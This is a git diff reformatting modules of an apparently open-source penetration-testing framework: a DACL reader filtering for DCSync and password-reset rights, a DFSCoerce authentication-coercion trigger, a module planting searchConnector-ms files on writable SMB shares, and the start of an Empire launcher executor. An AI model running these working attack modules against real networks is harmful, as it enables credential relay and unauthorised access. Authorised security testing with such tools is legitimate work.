searchControls=controls,
|
||||
)
|
||||
if self.target_DN is not None:
|
||||
_lookedup_principal = self.target_DN
|
||||
target = self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter='(distinguishedName=%s)' % _lookedup_principal,
|
||||
attributes=['nTSecurityDescriptor'],
|
||||
searchControls=controls
|
||||
searchFilter="(distinguishedName=%s)" % _lookedup_principal,
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
searchControls=controls,
|
||||
)
|
||||
try:
|
||||
self.target_principal = target[0]
|
||||
except Exception as e:
|
||||
context.log.fail('Principal not found in LDAP (%s), probably an LDAP session issue.' % _lookedup_principal)
|
||||
context.log.fail("Principal not found in LDAP (%s), probably an LDAP session issue." % _lookedup_principal)
|
||||
exit(0)
|
||||
|
||||
# Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName
|
||||
@@ -385,15 +390,15 @@ class CMEModule:
|
||||
def get_user_info(self, context, samname):
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter='(sAMAccountName=%s)' % escape_filter_chars(samname),
|
||||
attributes=['objectSid']
|
||||
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(samname),
|
||||
attributes=["objectSid"],
|
||||
)
|
||||
try:
|
||||
dn = self.ldap_session.entries[0].entry_dn
|
||||
sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])
|
||||
sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
|
||||
return dn, sid
|
||||
except Exception as e:
|
||||
context.log.fail('User not found in LDAP: %s' % samname)
|
||||
context.log.fail("User not found in LDAP: %s" % samname)
|
||||
return False
|
||||
|
||||
# Attempts to resolve a SID and return the corresponding samaccountname
|
||||
@@ -407,17 +412,23 @@ class CMEModule:
|
||||
try:
|
||||
dn = self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter='(objectSid=%s)' % sid,
|
||||
attributes=['sAMAccountName']
|
||||
)[0][0]
|
||||
searchFilter="(objectSid=%s)" % sid,
|
||||
attributes=["sAMAccountName"],
|
||||
)[
|
||||
0
|
||||
][0]
|
||||
samname = self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter='(objectSid=%s)' % sid,
|
||||
attributes=['sAMAccountName']
|
||||
)[0][1][0][1][0]
|
||||
searchFilter="(objectSid=%s)" % sid,
|
||||
attributes=["sAMAccountName"],
|
||||
)[0][
|
||||
1
|
||||
][0][
|
||||
1
|
||||
][0]
|
||||
return samname
|
||||
except Exception as e:
|
||||
context.log.debug('SID not found in LDAP: %s' % sid)
|
||||
context.log.debug("SID not found in LDAP: %s" % sid)
|
||||
return ""
|
||||
|
||||
# Parses a full DACL
|
||||
@@ -426,7 +437,7 @@ class CMEModule:
|
||||
parsed_dacl = []
|
||||
context.log.debug("Parsing DACL")
|
||||
i = 0
|
||||
for ace in dacl['Data']:
|
||||
for ace in dacl["Data"]:
|
||||
parsed_ace = self.parse_ace(context, ace)
|
||||
parsed_dacl.append(parsed_ace)
|
||||
i += 1
|
||||
@@ -450,71 +461,87 @@ class CMEModule:
|
||||
# - ace : the ACE to parse
|
||||
def parse_ace(self, context, ace):
|
||||
# For the moment, only the Allowed and Denied Access ACE are supported
|
||||
if ace['TypeName'] in ["ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_ACE",
|
||||
"ACCESS_DENIED_OBJECT_ACE"]:
|
||||
if ace["TypeName"] in [
|
||||
"ACCESS_ALLOWED_ACE",
|
||||
"ACCESS_ALLOWED_OBJECT_ACE",
|
||||
"ACCESS_DENIED_ACE",
|
||||
"ACCESS_DENIED_OBJECT_ACE",
|
||||
]:
|
||||
parsed_ace = {}
|
||||
parsed_ace['ACE Type'] = ace['TypeName']
|
||||
parsed_ace["ACE Type"] = ace["TypeName"]
|
||||
# Retrieves ACE's flags
|
||||
_ace_flags = []
|
||||
for FLAG in ACE_FLAGS:
|
||||
if ace.hasFlag(FLAG.value):
|
||||
_ace_flags.append(FLAG.name)
|
||||
parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None"
|
||||
parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
|
||||
|
||||
# For standard ACE
|
||||
# Extracts the access mask (by parsing the simple permissions) and the principal's SID
|
||||
if ace['TypeName'] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
|
||||
parsed_ace['Access mask'] = "%s (0x%x)" % (
|
||||
", ".join(self.parse_perms(ace['Ace']['Mask']['Mask'])), ace['Ace']['Mask']['Mask'])
|
||||
parsed_ace['Trustee (SID)'] = "%s (%s)" % (
|
||||
self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN",
|
||||
ace['Ace']['Sid'].formatCanonical())
|
||||
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
|
||||
parsed_ace["Access mask"] = "%s (0x%x)" % (
|
||||
", ".join(self.parse_perms(ace["Ace"]["Mask"]["Mask"])),
|
||||
ace["Ace"]["Mask"]["Mask"],
|
||||
)
|
||||
parsed_ace["Trustee (SID)"] = "%s (%s)" % (
|
||||
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
|
||||
ace["Ace"]["Sid"].formatCanonical(),
|
||||
)
|
||||
|
||||
# For object-specific ACE
|
||||
elif ace['TypeName'] in ["ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_OBJECT_ACE"]:
|
||||
elif ace["TypeName"] in [
|
||||
"ACCESS_ALLOWED_OBJECT_ACE",
|
||||
"ACCESS_DENIED_OBJECT_ACE",
|
||||
]:
|
||||
# Extracts the mask values. These values will indicate the ObjectType purpose
|
||||
_access_mask_flags = []
|
||||
for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS:
|
||||
if ace['Ace']['Mask'].hasPriv(FLAG.value):
|
||||
if ace["Ace"]["Mask"].hasPriv(FLAG.value):
|
||||
_access_mask_flags.append(FLAG.name)
|
||||
parsed_ace['Access mask'] = ", ".join(_access_mask_flags)
|
||||
parsed_ace["Access mask"] = ", ".join(_access_mask_flags)
|
||||
# Extracts the ACE flag values and the trusted SID
|
||||
_object_flags = []
|
||||
for FLAG in OBJECT_ACE_FLAGS:
|
||||
if ace['Ace'].hasFlag(FLAG.value):
|
||||
if ace["Ace"].hasFlag(FLAG.value):
|
||||
_object_flags.append(FLAG.name)
|
||||
parsed_ace['Flags'] = ", ".join(_object_flags) or "None"
|
||||
parsed_ace["Flags"] = ", ".join(_object_flags) or "None"
|
||||
# Extracts the ObjectType GUID values
|
||||
if ace['Ace']['ObjectTypeLen'] != 0:
|
||||
obj_type = bin_to_string(ace['Ace']['ObjectType']).lower()
|
||||
if ace["Ace"]["ObjectTypeLen"] != 0:
|
||||
obj_type = bin_to_string(ace["Ace"]["ObjectType"]).lower()
|
||||
try:
|
||||
parsed_ace['Object type (GUID)'] = "%s (%s)" % (OBJECT_TYPES_GUID[obj_type], obj_type)
|
||||
parsed_ace["Object type (GUID)"] = "%s (%s)" % (
|
||||
OBJECT_TYPES_GUID[obj_type],
|
||||
obj_type,
|
||||
)
|
||||
except KeyError:
|
||||
parsed_ace['Object type (GUID)'] = "UNKNOWN (%s)" % obj_type
|
||||
parsed_ace["Object type (GUID)"] = "UNKNOWN (%s)" % obj_type
|
||||
# Extracts the InheritedObjectType GUID values
|
||||
if ace['Ace']['InheritedObjectTypeLen'] != 0:
|
||||
inh_obj_type = bin_to_string(ace['Ace']['InheritedObjectType']).lower()
|
||||
if ace["Ace"]["InheritedObjectTypeLen"] != 0:
|
||||
inh_obj_type = bin_to_string(ace["Ace"]["InheritedObjectType"]).lower()
|
||||
try:
|
||||
parsed_ace['Inherited type (GUID)'] = "%s (%s)" % (
|
||||
OBJECT_TYPES_GUID[inh_obj_type], inh_obj_type)
|
||||
parsed_ace["Inherited type (GUID)"] = "%s (%s)" % (
|
||||
OBJECT_TYPES_GUID[inh_obj_type],
|
||||
inh_obj_type,
|
||||
)
|
||||
except KeyError:
|
||||
parsed_ace['Inherited type (GUID)'] = "UNKNOWN (%s)" % inh_obj_type
|
||||
parsed_ace["Inherited type (GUID)"] = "UNKNOWN (%s)" % inh_obj_type
|
||||
# Extract the Trustee SID (the object that has the right over the DACL bearer)
|
||||
parsed_ace['Trustee (SID)'] = "%s (%s)" % (
|
||||
self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN",
|
||||
ace['Ace']['Sid'].formatCanonical())
|
||||
parsed_ace["Trustee (SID)"] = "%s (%s)" % (
|
||||
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
|
||||
ace["Ace"]["Sid"].formatCanonical(),
|
||||
)
|
||||
|
||||
else:
|
||||
# If the ACE is not an access allowed
|
||||
context.log.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName'])
|
||||
context.log.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace["TypeName"])
|
||||
parsed_ace = {}
|
||||
parsed_ace['ACE type'] = ace['TypeName']
|
||||
parsed_ace["ACE type"] = ace["TypeName"]
|
||||
_ace_flags = []
|
||||
for FLAG in ACE_FLAGS:
|
||||
if ace.hasFlag(FLAG.value):
|
||||
_ace_flags.append(FLAG.name)
|
||||
parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None"
|
||||
parsed_ace['DEBUG'] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute"
|
||||
parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
|
||||
parsed_ace["DEBUG"] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute"
|
||||
return parsed_ace
|
||||
|
||||
# Prints a full DACL by printing each parsed ACE
|
||||
@@ -530,57 +557,46 @@ class CMEModule:
|
||||
# Filter on specific rights
|
||||
if self.rights is not None:
|
||||
try:
|
||||
if (self.rights == 'FullControl') and (self.rights not in parsed_ace['Access mask']):
|
||||
if (self.rights == "FullControl") and (self.rights not in parsed_ace["Access mask"]):
|
||||
print_ace = False
|
||||
if (self.rights == 'DCSync') and (('Object type (GUID)' not in parsed_ace) or (
|
||||
RIGHTS_GUID.DS_Replication_Get_Changes_All.value not in parsed_ace['Object type (GUID)'])):
|
||||
if (self.rights == "DCSync") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.DS_Replication_Get_Changes_All.value not in parsed_ace["Object type (GUID)"])):
|
||||
print_ace = False
|
||||
if (self.rights == 'WriteMembers') and (('Object type (GUID)' not in parsed_ace) or (
|
||||
RIGHTS_GUID.WriteMembers.value not in parsed_ace['Object type (GUID)'])):
|
||||
if (self.rights == "WriteMembers") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.WriteMembers.value not in parsed_ace["Object type (GUID)"])):
|
||||
print_ace = False
|
||||
if (self.rights == 'ResetPassword') and (('Object type (GUID)' not in parsed_ace) or (
|
||||
RIGHTS_GUID.ResetPassword.value not in parsed_ace['Object type (GUID)'])):
|
||||
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail(
|
||||
"Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
|
||||
# Filter on specific right GUID
|
||||
if self.rights_guid is not None:
|
||||
try:
|
||||
if ('Object type (GUID)' not in parsed_ace) or (
|
||||
self.rights_guid not in parsed_ace['Object type (GUID)']):
|
||||
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail(
|
||||
"Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
|
||||
# Filter on ACE type
|
||||
if self.ace_type == 'allowed':
|
||||
if self.ace_type == "allowed":
|
||||
try:
|
||||
if ('ACCESS_ALLOWED_OBJECT_ACE' not in parsed_ace['ACE Type']) and (
|
||||
'ACCESS_ALLOWED_ACE' not in parsed_ace['ACE Type']):
|
||||
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail(
|
||||
"Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
else:
|
||||
try:
|
||||
if ('ACCESS_DENIED_OBJECT_ACE' not in parsed_ace['ACE Type']) and (
|
||||
'ACCESS_DENIED_ACE' not in parsed_ace['ACE Type']):
|
||||
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail(
|
||||
"Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
|
||||
# Filter on trusted principal
|
||||
if self.principal_sid is not None:
|
||||
try:
|
||||
if self.principal_sid not in parsed_ace['Trustee (SID)']:
|
||||
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail(
|
||||
"Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
if print_ace:
|
||||
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
|
||||
self.print_parsed_ace(parsed_ace)
|
||||
@@ -603,7 +619,9 @@ class CMEModule:
|
||||
elif self.rights == "ResetPassword":
|
||||
_rights_guids = [RIGHTS_GUID.ResetPassword.value]
|
||||
elif self.rights == "DCSync":
|
||||
_rights_guids = [RIGHTS_GUID.DS_Replication_Get_Changes.value,
|
||||
RIGHTS_GUID.DS_Replication_Get_Changes_All.value]
|
||||
self.context.log.highlight('Built GUID: %s', _rights_guids)
|
||||
_rights_guids = [
|
||||
RIGHTS_GUID.DS_Replication_Get_Changes.value,
|
||||
RIGHTS_GUID.DS_Replication_Get_Changes_All.value,
|
||||
]
|
||||
self.context.log.highlight("Built GUID: %s", _rights_guids)
|
||||
return _rights_guids
|
||||
|
||||
+50
-34
@@ -11,9 +11,9 @@ from cme.logger import cme_logger
|
||||
|
||||
|
||||
class CMEModule:
|
||||
name = 'dfscoerce'
|
||||
name = "dfscoerce"
|
||||
description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
|
||||
supported_protocols = ['smb']
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
@@ -27,20 +27,29 @@ class CMEModule:
|
||||
LISTENER Listener Address (defaults to 127.0.0.1)
|
||||
"""
|
||||
self.listener = "127.0.0.1"
|
||||
if 'LISTENER' in module_options:
|
||||
self.listener = module_options['LISTENER']
|
||||
if "LISTENER" in module_options:
|
||||
self.listener = module_options["LISTENER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
trigger = TriggerAuth()
|
||||
dce = trigger.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, doKerberos=connection.kerberos, dcHost=connection.kdcHost)
|
||||
dce = trigger.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
)
|
||||
|
||||
if dce is not None:
|
||||
if dce is not None:
|
||||
context.log.debug("Target is vulnerable to DFSCoerce")
|
||||
trigger.NetrDfsRemoveStdRoot(dce, self.listener)
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
|
||||
dce.disconnect()
|
||||
|
||||
|
||||
else:
|
||||
context.log.debug("Target is not vulnerable to DFSCoerce")
|
||||
|
||||
@@ -54,9 +63,14 @@ class DCERPCSessionError(DCERPCException):
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return 'DFSNM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||
return "DFSNM SessionError: code: 0x%x - %s - %s" % (
|
||||
self.error_code,
|
||||
error_msg_short,
|
||||
error_msg_verbose,
|
||||
)
|
||||
else:
|
||||
return 'DFSNM SessionError: unknown error code: 0x%x' % self.error_code
|
||||
return "DFSNM SessionError: unknown error code: 0x%x" % self.error_code
|
||||
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
@@ -64,55 +78,57 @@ class DCERPCSessionError(DCERPCException):
|
||||
class NetrDfsRemoveStdRoot(NDRCALL):
|
||||
opnum = 13
|
||||
structure = (
|
||||
('ServerName', WSTR),
|
||||
('RootShare', WSTR),
|
||||
('ApiFlags', DWORD),
|
||||
("ServerName", WSTR),
|
||||
("RootShare", WSTR),
|
||||
("ApiFlags", DWORD),
|
||||
)
|
||||
|
||||
|
||||
class NetrDfsRemoveStdRootResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
structure = (("ErrorCode", ULONG),)
|
||||
|
||||
|
||||
class NetrDfsAddRoot(NDRCALL):
|
||||
opnum = 12
|
||||
structure = (
|
||||
('ServerName',WSTR),
|
||||
('RootShare',WSTR),
|
||||
('Comment',WSTR),
|
||||
('ApiFlags',DWORD),
|
||||
)
|
||||
("ServerName", WSTR),
|
||||
("RootShare", WSTR),
|
||||
("Comment", WSTR),
|
||||
("ApiFlags", DWORD),
|
||||
)
|
||||
|
||||
|
||||
class NetrDfsAddRootResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
structure = (("ErrorCode", ULONG),)
|
||||
|
||||
|
||||
class TriggerAuth():
|
||||
class TriggerAuth:
|
||||
def connect(self, username, password, domain, lmhash, nthash, target, doKerberos, dcHost):
|
||||
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netdfs]' % target)
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
|
||||
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
#if target:
|
||||
# if target:
|
||||
# rpctransport.setRemoteHost(target)
|
||||
|
||||
|
||||
rpctransport.setRemoteHost(target)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
cme_logger.debug("[-] Connecting to %s" % r'ncacn_np:%s[\PIPE\netdfs]' % target)
|
||||
cme_logger.debug("[-] Connecting to %s" % r"ncacn_np:%s[\PIPE\netdfs]" % target)
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
cme_logger.debug("Something went wrong, check error status => %s" % str(e))
|
||||
return
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(('4FC742E0-4A10-11CF-8273-00AA004AE673', '3.0')))
|
||||
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
|
||||
except Exception as e:
|
||||
cme_logger.debug("Something went wrong, check error status => %s" % str(e))
|
||||
return
|
||||
@@ -123,9 +139,9 @@ class TriggerAuth():
|
||||
cme_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
|
||||
try:
|
||||
request = NetrDfsRemoveStdRoot()
|
||||
request['ServerName'] = '%s\x00' % listener
|
||||
request['RootShare'] = 'test\x00'
|
||||
request['ApiFlags'] = 1
|
||||
request["ServerName"] = "%s\x00" % listener
|
||||
request["RootShare"] = "test\x00"
|
||||
request["ApiFlags"] = 1
|
||||
if self.args.verbose:
|
||||
cme_logger.debug(request.dump())
|
||||
# logger.debug(request.dump())
|
||||
|
||||
@@ -0,0 +1,85 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import ntpath
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
|
||||
https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
|
||||
Module by @zblurx
|
||||
"""
|
||||
|
||||
name = "drop-sc"
|
||||
description = "Drop a searchConnector-ms file on each writable share"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
|
||||
https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
|
||||
Module by @zblurx
|
||||
URL URL in the searchConnector-ms file, default https://rickroll
|
||||
CLEANUP Cleanup (choices: True or False)
|
||||
SHARE Specify a share to target
|
||||
FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents"
|
||||
"""
|
||||
self.cleanup = False
|
||||
if "CLEANUP" in module_options:
|
||||
self.cleanup = bool(module_options["CLEANUP"])
|
||||
|
||||
self.url = "https://rickroll"
|
||||
if "URL" in module_options:
|
||||
self.url = str(module_options["URL"])
|
||||
|
||||
self.sharename = ""
|
||||
if "SHARE" in module_options:
|
||||
self.sharename = str(module_options["SHARE"])
|
||||
|
||||
self.filename = "Documents"
|
||||
if "FILENAME" in module_options:
|
||||
self.filename = str(module_options["FILENAME"])
|
||||
|
||||
self.file_path = ntpath.join("\\", f"{self.filename}.searchConnector-ms")
|
||||
if not self.cleanup:
|
||||
self.scfile_path = f"/tmp/{self.filename}.searchConnector-ms"
|
||||
scfile = open(self.scfile_path, "w")
|
||||
scfile.truncate(0)
|
||||
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
|
||||
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
|
||||
scfile.write("<description>Microsoft Outlook</description>")
|
||||
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
|
||||
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
|
||||
scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
|
||||
scfile.write("<templateInfo>")
|
||||
scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
|
||||
scfile.write("</templateInfo>")
|
||||
scfile.write("<simpleLocation>")
|
||||
scfile.write("<url>{}</url>".format(self.url))
|
||||
scfile.write("</simpleLocation>")
|
||||
scfile.write("</searchConnectorDescription>")
|
||||
scfile.close()
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
context.log.debug(f"Share: {share}")
|
||||
if "WRITE" in share["access"] and (share["name"] == self.sharename if self.sharename != "" else share["name"] not in ["C$", "ADMIN$"]):
|
||||
context.log.success(f"Found writable share: {share['name']}")
|
||||
if not self.cleanup:
|
||||
with open(self.scfile_path, "rb") as scfile:
|
||||
try:
|
||||
connection.conn.putFile(share["name"], self.file_path, scfile.read)
|
||||
context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms" f" file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.exception(e)
|
||||
context.log.fail(f"Error writing {self.filename}.searchConnector-ms file" f" on the {share['name']} share: {e}")
|
||||
else:
|
||||
try:
|
||||
connection.conn.deleteFile(share["name"], self.file_path)
|
||||
context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the" f" {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms" f" file on share {share['name']}: {e}")
|
||||
@@ -1,83 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import ntpath
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
|
||||
https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
|
||||
Module by @zblurx
|
||||
"""
|
||||
|
||||
name = 'drop-sc'
|
||||
description = 'Drop a searchConnector-ms file on each writable share'
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe= False
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
|
||||
https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
|
||||
Module by @zblurx
|
||||
URL URL in the searchConnector-ms file, default https://rickroll
|
||||
CLEANUP Cleanup (choices: True or False)
|
||||
SHARE Specify a share to target
|
||||
FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents"
|
||||
"""
|
||||
self.cleanup = False
|
||||
if 'CLEANUP' in module_options:
|
||||
self.cleanup = bool(module_options['CLEANUP'])
|
||||
|
||||
self.url = 'https://rickroll'
|
||||
if 'URL' in module_options:
|
||||
self.url = str(module_options['URL'])
|
||||
|
||||
self.sharename = ''
|
||||
if 'SHARE' in module_options:
|
||||
self.sharename = str(module_options['SHARE'])
|
||||
|
||||
self.filename = 'Documents'
|
||||
if 'FILENAME' in module_options:
|
||||
self.filename = str(module_options['FILENAME'])
|
||||
|
||||
self.file_path = ntpath.join('\\', '{}.searchConnector-ms'.format(self.filename))
|
||||
if not self.cleanup:
|
||||
self.scfile_path = '/tmp/{}.searchConnector-ms'.format(self.filename)
|
||||
scfile = open(self.scfile_path, 'w')
|
||||
scfile.truncate(0)
|
||||
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
|
||||
scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
|
||||
scfile.write('<description>Microsoft Outlook</description>')
|
||||
scfile.write('<isSearchOnlyItem>false</isSearchOnlyItem>')
|
||||
scfile.write('<includeInStartMenuScope>true</includeInStartMenuScope>')
|
||||
scfile.write('<iconReference>{}/0001.ico</iconReference>'.format(self.url))
|
||||
scfile.write('<templateInfo>')
|
||||
scfile.write('<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>')
|
||||
scfile.write('</templateInfo>')
|
||||
scfile.write('<simpleLocation>')
|
||||
scfile.write('<url>{}</url>'.format(self.url))
|
||||
scfile.write('</simpleLocation>')
|
||||
scfile.write('</searchConnectorDescription>')
|
||||
scfile.close()
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if 'WRITE' in share['access'] and (share['name'] == self.sharename if self.sharename != '' else share['name'] not in ['C$','ADMIN$']):
|
||||
context.log.success('Found writable share: {}'.format(share['name']))
|
||||
if not self.cleanup:
|
||||
with open(self.scfile_path, 'rb') as scfile:
|
||||
try:
|
||||
connection.conn.putFile(share['name'], self.file_path, scfile.read)
|
||||
context.log.success('Created {}.searchConnector-ms file on the {} share'.format(self.filename, share['name']))
|
||||
except Exception as e:
|
||||
context.log.fail('Error writing {}.searchConnector-ms file on the {} share: {}'.format(self.filename, share['name'], e))
|
||||
else:
|
||||
try:
|
||||
connection.conn.deleteFile(share['name'], self.file_path)
|
||||
context.log.success('Deleted {}.searchConnector-ms file on the {} share'.format(self.filename, share['name']))
|
||||
except Exception as e:
|
||||
context.log.fail('Error deleting {}.searchConnector-ms file on share {}: {}'.format(self.filename, share['name'], e))
|
||||
|
||||
+107
-39
@@ -5,66 +5,134 @@ import sys
|
||||
import requests
|
||||
from requests import ConnectionError
|
||||
|
||||
#The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
|
||||
# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
|
||||
Module by @byt3bl33d3r
|
||||
Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
|
||||
Module by @byt3bl33d3r
|
||||
"""
|
||||
|
||||
name='empire_exec'
|
||||
name = "empire_exec"
|
||||
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
|
||||
supported_protocols = ['smb', 'mssql']
|
||||
supported_protocols = ["smb", "mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
LISTENER Listener name to generate the launcher for
|
||||
LISTENER Listener name to generate the launcher for
|
||||
SSL True if the listener is using SSL/TLS
|
||||
